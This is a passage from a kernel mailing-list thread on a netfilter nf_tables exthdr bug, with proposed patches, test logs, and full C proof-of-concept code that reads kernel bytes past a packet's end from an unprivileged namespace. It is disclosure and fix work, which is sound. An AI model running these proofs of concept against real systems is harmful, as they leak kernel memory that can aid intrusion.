        p += sizeof(struct ifinfomsg);
        p = put_str(p, IFLA_IFNAME, "vp1");
        nest_end(peer, p);
        nest_end(id, p);
        nest_end(li, p);
        h->nlmsg_len = p - buf;
        if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
                die("RTM_NEWLINK");
        close(fd);
}

static void link_up(const char *name)
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);

        strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
        if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
                die("SIOCGIFFLAGS");
        ifr.ifr_flags |= IFF_UP;
        if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
                die("SIOCSIFFLAGS");
        close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
        h->nlmsg_flags = NLM_F_REQUEST | flags;
        h->nlmsg_seq = ++seq;
        g->family = NFPROTO_NETDEV;
        return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr
*)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = type;
        h->nlmsg_flags = NLM_F_REQUEST;
        h->nlmsg_seq = ++seq;
        h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
        g->res_id = htons(NFNL_SUBSYS_NFTABLES);
        return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
        char rb[8192];
        int n;

        if (send(nl, buf, end - buf, 0) < 0)
                die("nft send");
        while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

                        if (r->nlmsg_type == NLMSG_ERROR && e->error) {
                                errno = -e->error;
                                die("nft batch");
                        }
                }
        }
}

static char *rule(char *cur, int t)
{
        uint8_t ud = t, one = 1;
        char *p, *ex, *e, *d, *v;

        p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
        p = put_str(p, NFTA_RULE_TABLE, "t");
        p = put_str(p, NFTA_RULE_CHAIN, "c");
        p = put(p, NFTA_RULE_USERDATA, &ud, 1);
        ex = nest(&p, NFTA_RULE_EXPRESSIONS);

        e = nest(&p, NFTA_LIST_ELEM);                   /* exthdr ipv6
type t exists */
        p = put_str(p, NFTA_EXPR_NAME, "exthdr");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
        p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
        p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
        p = put_be32(p, NFTA_EXTHDR_LEN, 1);
        p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* cmp reg1 == 1 */
        p = put_str(p, NFTA_EXPR_NAME, "cmp");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
        p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
        v = nest(&p, NFTA_CMP_DATA);
        p = put(p, NFTA_DATA_VALUE, &one, 1);
        nest_end(v, p);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* counter */
        p = put_str(p, NFTA_EXPR_NAME, "counter");
        nest_end(e, p);

        nest_end(ex, p);
        return msg_end(cur, p);
}

static void nft_setup(void)
{
        static char buf[65536];
        char *cur, *p, *hk;
        int t = 0, i;

        nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
        if (nl < 0)
                die("NETLINK_NETFILTER");

        cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
        p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_TABLE_NAME, "t");
        cur = msg_end(cur, p);
        p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_CHAIN_TABLE, "t");
        p = put_str(p, NFTA_CHAIN_NAME, "c");
        p = put_str(p, NFTA_CHAIN_TYPE, "filter");
        hk = nest(&p, NFTA_CHAIN_HOOK);
        p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
        p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
        p = put_str(p, NFTA_HOOK_DEV, "vp1");
        nest_end(hk, p);
        cur = msg_end(cur, p);
        cur = batch(cur, NFNL_MSG_BATCH_END);
        nft_commit(buf, cur);

        while (t < 256) {
                cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
                for (i = 0; i < 32 && t < 256; i++)
                        cur = rule(cur, t++);
                cur = batch(cur, NFNL_MSG_BATCH_END);
                nft_commit(buf, cur);
        }
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)
         \
        for (x = (struct nlattr *)(a), rem = (len);
         \
            rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN &&
x->nla_len <= rem; \
            rem -= NLA_ALIGN(x->nla_len),
         \
            x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)     ((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)      ((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
        struct nlattr *r, *el, *ex, *c;
        int r1, r2, r3, r4, t = -1;
        uint64_t pk = 0;

        for_each_nla(r, a, len, r1) {
                if (r->nla_type == NFTA_RULE_USERDATA)
                        t = (uint8_t)NLA_DATA(r)[0];
                if (r->nla_type != NFTA_RULE_EXPRESSIONS)
                        continue;
                for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
                        bool counter = false;

                        for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
                                if (ex->nla_type == NFTA_EXPR_NAME)
                                        counter =
!strcmp(NLA_DATA(ex), "counter");
                                else if (ex->nla_type ==
NFTA_EXPR_DATA && counter)
                                        for_each_nla(c, NLA_DATA(ex),
NLA_LEN(ex), r4)
                                                if (c->nla_type ==
NFTA_COUNTER_PACKETS)
                                                        pk =
be64toh(*(uint64_t *)NLA_DATA(c));
                        }
                }
        }
        if (t >= 0)
                cnt[t] = pk;
}

static void read_counters(void)
{
        static char rb[1 << 18];
        char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
        int n;

        p = put_str(p, NFTA_RULE_TABLE, "t");
        msg_end(buf, p);
        if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
                die("GETRULE");
        while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

                        if (r->nlmsg_type == NLMSG_DONE ||
r->nlmsg_type == NLMSG_ERROR)
                                return;
                        parse_rule(a, (char *)r + r->nlmsg_len - a);
                }
        }
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
        struct sockaddr_ll sll = {};

        sll.sll_family = AF_PACKET;
        sll.sll_ifindex = ifi;
        sll.sll_protocol = htons(proto);
        sll.sll_halen = ETH_ALEN;
        if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
                die("sendto");
}

int main(void)
{
        unsigned char probe[18] = {
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02,
                0x81, 0x00,             /* ETH_P_8021Q */
                0x00, 0x64,             /* vid 100 */
                0x86, 0xdd,             /* inner: ETH_P_IPV6, then nothing */
        };
        uint64_t before[256];
        cpu_set_t cs;
        int r, t, hit = 0;

        setvbuf(stdout, NULL, _IONBF, 0);
        CPU_ZERO(&cs);
        CPU_SET(0, &cs);
        sched_setaffinity(0, sizeof(cs), &cs);

        if (getuid() == 0) {                    /* drop to an
unprivileged user */
                setgroups(0, NULL);
                if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
                        die("drop privileges");
                prctl(PR_SET_DUMPABLE, 1);      /* lets us write our
own uid_map */
        }
        printf("[*] uid=%d\n", getuid());
        enter_ns();
        /* keep IPv6 autoconf traffic off the veths */
        write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
        write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
        rtnl_veth();
        link_up("vp0");
        link_up("vp1");
        nft_setup();

        pfd = socket(AF_PACKET, SOCK_RAW, 0);
        ifi = if_nametoindex("vp0");
        if (pfd < 0 || !ifi)
                die("AF_PACKET");


        printf("[*] sending %d 18-byte 802.1Q probes with no IPv6
header\n", ROUNDS);
        read_counters();
        memcpy(before, cnt, sizeof(before));
        for (r = 0; r < ROUNDS; r++) {
                tx(probe, sizeof(probe), ETH_P_8021Q);
                usleep(20000);
        }
        read_counters();
        for (t = 0; t < 256; t++) {
                if (cnt[t] == before[t])
                        continue;
                printf("    rule 0x%02x fired %llu/%d: kernel read
byte 0x%02x past skb tail\n",
                      t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
                hit += cnt[t] - before[t];
        }
        printf("[%c] %d/%d probes leaked a byte from past the end of
the packet\n",
              hit ? '+' : '-', hit, ROUNDS);
        return !hit;
}
```

My run output of your attached patch:

```log
[*] sending 64 18-byte 802.1Q probes with no IPv6 header
    rule 0x01 fired 25/64: kernel read byte 0x01 past skb tail
    rule 0x02 fired 2/64: kernel read byte 0x02 past skb tail
    rule 0x03 fired 1/64: kernel read byte 0x03 past skb tail
    rule 0x74 fired 1/64: kernel read byte 0x74 past skb tail
...
```

I also confirmed the same result after inserting some debug to the kernel.

```log
[    4.041624] DBG_OOB head=ffff888021df96c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.061809] DBG_OOB head=ffff888021df9a00 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.081970] DBG_OOB head=ffff888021df63c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.102192] DBG_OOB head=ffff888021df6080 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.122357] DBG_OOB head=ffff888021de5a00 nh=20 tail=20 end=384
byte=0x01 ptr16_23(head+544)=0xde
...
```
author
#5 lore raw
Quoted 45 lines · Pablo Neira Ayuso
Quoted 17 lines · Xiang Mei
Quoted 7 lines · Pablo Neira Ayuso
Quoted 1 line · Pablo Neira Ayuso

On Wed, Nov 25, 2026 at 05:11:51PM -0700, Xiang Mei wrote:

[...]

Quoted 2 lines
Quoted 2 lines

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do.

Quoted 6 lines

I prefer this patch (see attachment).

Please, don't take, I will submit it myself including your
Reported-by: tag.

Thanks.

Sorry, I replied only to Pablo earlier. A resend of my test:

Quoted 8 lines

Thanks for the patch. I have just tested it agaist the PoC (attached to this mail) but it still leaks.

The 18-byte 802.1Q frame still makes ipv6_find_hdr() read past the tail, same as the unpatched kernel. The pull in validate fails, we fall back to nft_set_pktinfo_unspec(), and nft_do_chain_netdev() still runs the chain, so exthdr gets called with only the skb->protocol check.

I think nft_pktinfo provides enough information to skip this skbuff in nft_exthdr, there is pkt->ethertype which can be used for this purpose, which should be zero in this case.

net/netfilter/nft_exthdr.c +1 -1
index 861bab93f435..448b9ecde1f0 100644
@@ -52,7 +52,7 @@ static void nft_exthdr_ipv6_eval(const struct nft_expr *expr,
        unsigned int offset = 0;
        int err;
 
-       if (pkt->skb->protocol != htons(ETH_P_IPV6))
+       if (pkt->ethertype != htons(ETH_P_IPV6))
                goto err;
 
        err = ipv6_find_hdr(pkt->skb, &offset, priv->type, NULL, NULL);

net/netfilter/nft_exthdr.c static void nft_exthdr_ipv4_eval(const struct nft_expr *expr, · line 152

Quoted 8 lines
net/netfilter/nft_exthdr.c +1 -1
@@ -146,7 +146,7 @@ static void nft_exthdr_ipv4_eval(const struct nft_expr *expr,
        unsigned int offset;
        int err;
 
-       if (skb->protocol != htons(ETH_P_IP))
+       if (pkt->ethertype != htons(ETH_P_IP))
                goto err;
 
        err = ipv4_find_option(nft_net(pkt), skb, &offset, priv->type);

pkt->ethertype is not zero here, nft_set_pktinfo_unspec() sets it to skb->protocol. I tested it and the PoC still leaks.

pkt->flags works:

        if (!(pkt->flags & NFT_PKTINFO_L4PROTO) ||
            pkt->ethertype != htons(ETH_P_IPV6))
                goto err;

But validate also needs to pull from the network header, not from skb->data. On egress skb->data is the link layer header, so on an ip6gre device (hard_header_len 44) pskb_may_pull(skb, 40) does nothing and the header is still not linear. I wrote a second PoC for this.

With

        if (!pskb_network_may_pull(pkt->skb, nhoff + sizeof(*ip6h)))
                return -1;
        ip6h = (struct ipv6hdr *)(skb_network_header(pkt->skb) + nhoff);

(same for ipv4) plus the flags check, both PoCs are fixed here. Both PoCs attached.

Thanks,
Xiang

---PoC1---

```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES	10
#define NFNL_MSG_BATCH_BEGIN	16
#define NFNL_MSG_BATCH_END	17
#define NFT_MSG_NEWTABLE	0
#define NFT_MSG_NEWCHAIN	3
#define NFT_MSG_NEWRULE		6
#define NFT_MSG_GETRULE		7
#define NFTA_TABLE_NAME		1
#define NFTA_CHAIN_TABLE	1
#define NFTA_CHAIN_NAME		3
#define NFTA_CHAIN_HOOK		4
#define NFTA_CHAIN_TYPE		7
#define NFTA_HOOK_HOOKNUM	1
#define NFTA_HOOK_PRIORITY	2
#define NFTA_HOOK_DEV		3
#define NFTA_RULE_TABLE		1
#define NFTA_RULE_CHAIN		2
#define NFTA_RULE_EXPRESSIONS	4
#define NFTA_RULE_USERDATA	7
#define NFTA_LIST_ELEM		1
#define NFTA_EXPR_NAME		1
#define NFTA_EXPR_DATA		2
#define NFTA_EXTHDR_DREG	1
#define NFTA_EXTHDR_TYPE	2
#define NFTA_EXTHDR_OFFSET	3
#define NFTA_EXTHDR_LEN		4
#define NFTA_EXTHDR_FLAGS	5
#define NFT_EXTHDR_F_PRESENT	1
#define NFTA_CMP_SREG		1
#define NFTA_CMP_OP		2
#define NFTA_CMP_DATA		3
#define NFTA_DATA_VALUE		1
#define NFTA_COUNTER_PACKETS	2
#define NFPROTO_NETDEV		5
#define NFT_REG_1		1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER	12
#endif

#define ROUNDS		64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
	struct nlattr *a = (struct nlattr *)p;

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + len;
	memcpy(p + NLA_HDRLEN, d, len);
	memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
	return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t, s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v); return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
	struct nlattr *a = (struct nlattr *)*p;

	a->nla_type = type | NLA_F_NESTED;
	*p += NLA_HDRLEN;
	return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len = p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
	int fd = open(path, O_WRONLY);

	if (fd < 0 || write(fd, s, strlen(s)) < 0)
		die(path);
	close(fd);
}

static void enter_ns(void)
{
	char map[32];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %d 1", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", gid);
	write_file("/proc/self/gid_map", map);
}

static void rtnl_veth(void)
{
	char buf[512] = {}, *p, *li, *id, *peer;
	struct nlmsghdr *h = (struct nlmsghdr *)buf;
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

	h->nlmsg_type = RTM_NEWLINK;
	h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
	p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
	p = put_str(p, IFLA_IFNAME, "vp0");
	li = nest(&p, IFLA_LINKINFO);
	p = put(p, IFLA_INFO_KIND, "veth", 4);
	id = nest(&p, IFLA_INFO_DATA);
	peer = nest(&p, 1 /* VETH_INFO_PEER */);
	p += sizeof(struct ifinfomsg);
	p = put_str(p, IFLA_IFNAME, "vp1");
	nest_end(peer, p);
	nest_end(id, p);
	nest_end(li, p);
	h->nlmsg_len = p - buf;
	if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
		die("RTM_NEWLINK");
	close(fd);
}

static void link_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
	h->nlmsg_flags = NLM_F_REQUEST | flags;
	h->nlmsg_seq = ++seq;
	g->family = NFPROTO_NETDEV;
	return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr *)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = type;
	h->nlmsg_flags = NLM_F_REQUEST;
	h->nlmsg_seq = ++seq;
	h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
	g->res_id = htons(NFNL_SUBSYS_NFTABLES);
	return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
	char rb[8192];
	int n;

	if (send(nl, buf, end - buf, 0) < 0)
		die("nft send");
	while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

			if (r->nlmsg_type == NLMSG_ERROR && e->error) {
				errno = -e->error;
				die("nft batch");
			}
		}
	}
}

static char *rule(char *cur, int t)
{
	uint8_t ud = t, one = 1;
	char *p, *ex, *e, *d, *v;

	p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
	p = put_str(p, NFTA_RULE_TABLE, "t");
	p = put_str(p, NFTA_RULE_CHAIN, "c");
	p = put(p, NFTA_RULE_USERDATA, &ud, 1);
	ex = nest(&p, NFTA_RULE_EXPRESSIONS);

	e = nest(&p, NFTA_LIST_ELEM);			/* exthdr ipv6 type t exists */
	p = put_str(p, NFTA_EXPR_NAME, "exthdr");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
	p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
	p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
	p = put_be32(p, NFTA_EXTHDR_LEN, 1);
	p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* cmp reg1 == 1 */
	p = put_str(p, NFTA_EXPR_NAME, "cmp");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
	p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
	v = nest(&p, NFTA_CMP_DATA);
	p = put(p, NFTA_DATA_VALUE, &one, 1);
	nest_end(v, p);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* counter */
	p = put_str(p, NFTA_EXPR_NAME, "counter");
	nest_end(e, p);

	nest_end(ex, p);
	return msg_end(cur, p);
}

static void nft_setup(void)
{
	static char buf[65536];
	char *cur, *p, *hk;
	int t = 0, i;

	nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	if (nl < 0)
		die("NETLINK_NETFILTER");

	cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
	p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_TABLE_NAME, "t");
	cur = msg_end(cur, p);
	p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_CHAIN_TABLE, "t");
	p = put_str(p, NFTA_CHAIN_NAME, "c");
	p = put_str(p, NFTA_CHAIN_TYPE, "filter");
	hk = nest(&p, NFTA_CHAIN_HOOK);
	p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
	p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
	p = put_str(p, NFTA_HOOK_DEV, "vp1");
	nest_end(hk, p);
	cur = msg_end(cur, p);
	cur = batch(cur, NFNL_MSG_BATCH_END);
	nft_commit(buf, cur);

	while (t < 256) {
		cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
		for (i = 0; i < 32 && t < 256; i++)
			cur = rule(cur, t++);
		cur = batch(cur, NFNL_MSG_BATCH_END);
		nft_commit(buf, cur);
	}
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)						\
	for (x = (struct nlattr *)(a), rem = (len);				\
	    rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN && x->nla_len <= rem; \
	    rem -= NLA_ALIGN(x->nla_len),					\
	    x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)	((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)	((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
	struct nlattr *r, *el, *ex, *c;
	int r1, r2, r3, r4, t = -1;
	uint64_t pk = 0;

	for_each_nla(r, a, len, r1) {
		if (r->nla_type == NFTA_RULE_USERDATA)
			t = (uint8_t)NLA_DATA(r)[0];
		if (r->nla_type != NFTA_RULE_EXPRESSIONS)
			continue;
		for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
			bool counter = false;

			for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
				if (ex->nla_type == NFTA_EXPR_NAME)
					counter = !strcmp(NLA_DATA(ex), "counter");
				else if (ex->nla_type == NFTA_EXPR_DATA && counter)
					for_each_nla(c, NLA_DATA(ex), NLA_LEN(ex), r4)
						if (c->nla_type == NFTA_COUNTER_PACKETS)
							pk = be64toh(*(uint64_t *)NLA_DATA(c));
			}
		}
	}
	if (t >= 0)
		cnt[t] = pk;
}

static void read_counters(void)
{
	static char rb[1 << 18];
	char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
	int n;

	p = put_str(p, NFTA_RULE_TABLE, "t");
	msg_end(buf, p);
	if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
		die("GETRULE");
	while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

			if (r->nlmsg_type == NLMSG_DONE || r->nlmsg_type == NLMSG_ERROR)
				return;
			parse_rule(a, (char *)r + r->nlmsg_len - a);
		}
	}
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
	struct sockaddr_ll sll = {};

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifi;
	sll.sll_protocol = htons(proto);
	sll.sll_halen = ETH_ALEN;
	if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die("sendto");
}

int main(void)
{
	unsigned char probe[18] = {
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
		0x81, 0x00,		/* ETH_P_8021Q */
		0x00, 0x64,		/* vid 100 */
		0x86, 0xdd,		/* inner: ETH_P_IPV6, then nothing */
	};
	uint64_t before[256];
	cpu_set_t cs;
	int r, t, hit = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	CPU_ZERO(&cs);
	CPU_SET(0, &cs);
	sched_setaffinity(0, sizeof(cs), &cs);

	if (getuid() == 0) {			/* drop to an unprivileged user */
		setgroups(0, NULL);
		if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
			die("drop privileges");
		prctl(PR_SET_DUMPABLE, 1);	/* lets us write our own uid_map */
	}
	printf("[*] uid=%d\n", getuid());
	enter_ns();
	/* keep IPv6 autoconf traffic off the veths */
	write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
	write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
	rtnl_veth();
	link_up("vp0");
	link_up("vp1");
	nft_setup();

	pfd = socket(AF_PACKET, SOCK_RAW, 0);
	ifi = if_nametoindex("vp0");
	if (pfd < 0 || !ifi)
		die("AF_PACKET");


	printf("[*] sending %d 18-byte 802.1Q probes with no IPv6 header\n", ROUNDS);
	read_counters();
	memcpy(before, cnt, sizeof(before));
	for (r = 0; r < ROUNDS; r++) {
		tx(probe, sizeof(probe), ETH_P_8021Q);
		usleep(20000);
	}
	read_counters();
	for (t = 0; t < 256; t++) {
		if (cnt[t] == before[t])
			continue;
		printf("    rule 0x%02x fired %llu/%d: kernel read byte 0x%02x past skb tail\n",
		      t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
		hit += cnt[t] - before[t];
	}
	printf("[%c] %d/%d probes leaked a byte from past the end of the packet\n",
	      hit ? '+' : '-', hit, ROUNDS);
	return !hit;
}
```

---PoC2---

```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES	10
#define NFNL_MSG_BATCH_BEGIN	16
#define NFNL_MSG_BATCH_END	17
#define NFT_MSG_NEWTABLE	0
#define NFT_MSG_NEWCHAIN	3
#define NFT_MSG_NEWRULE		6
#define NFT_MSG_GETRULE		7
#define NFTA_TABLE_NAME		1
#define NFTA_CHAIN_TABLE	1
#define NFTA_CHAIN_NAME		3
#define NFTA_CHAIN_HOOK		4
#define NFTA_CHAIN_TYPE		7
#define NFTA_HOOK_HOOKNUM	1
#define NFTA_HOOK_PRIORITY	2
#define NFTA_HOOK_DEV		3
#define NFTA_RULE_TABLE		1
#define NFTA_RULE_CHAIN		2
#define NFTA_RULE_EXPRESSIONS	4
#define NFTA_RULE_USERDATA	7
#define NFTA_LIST_ELEM		1
#define NFTA_EXPR_NAME		1
#define NFTA_EXPR_DATA		2
#define NFTA_EXTHDR_DREG	1
#define NFTA_EXTHDR_TYPE	2
#define NFTA_EXTHDR_OFFSET	3
#define NFTA_EXTHDR_LEN		4
#define NFTA_EXTHDR_FLAGS	5
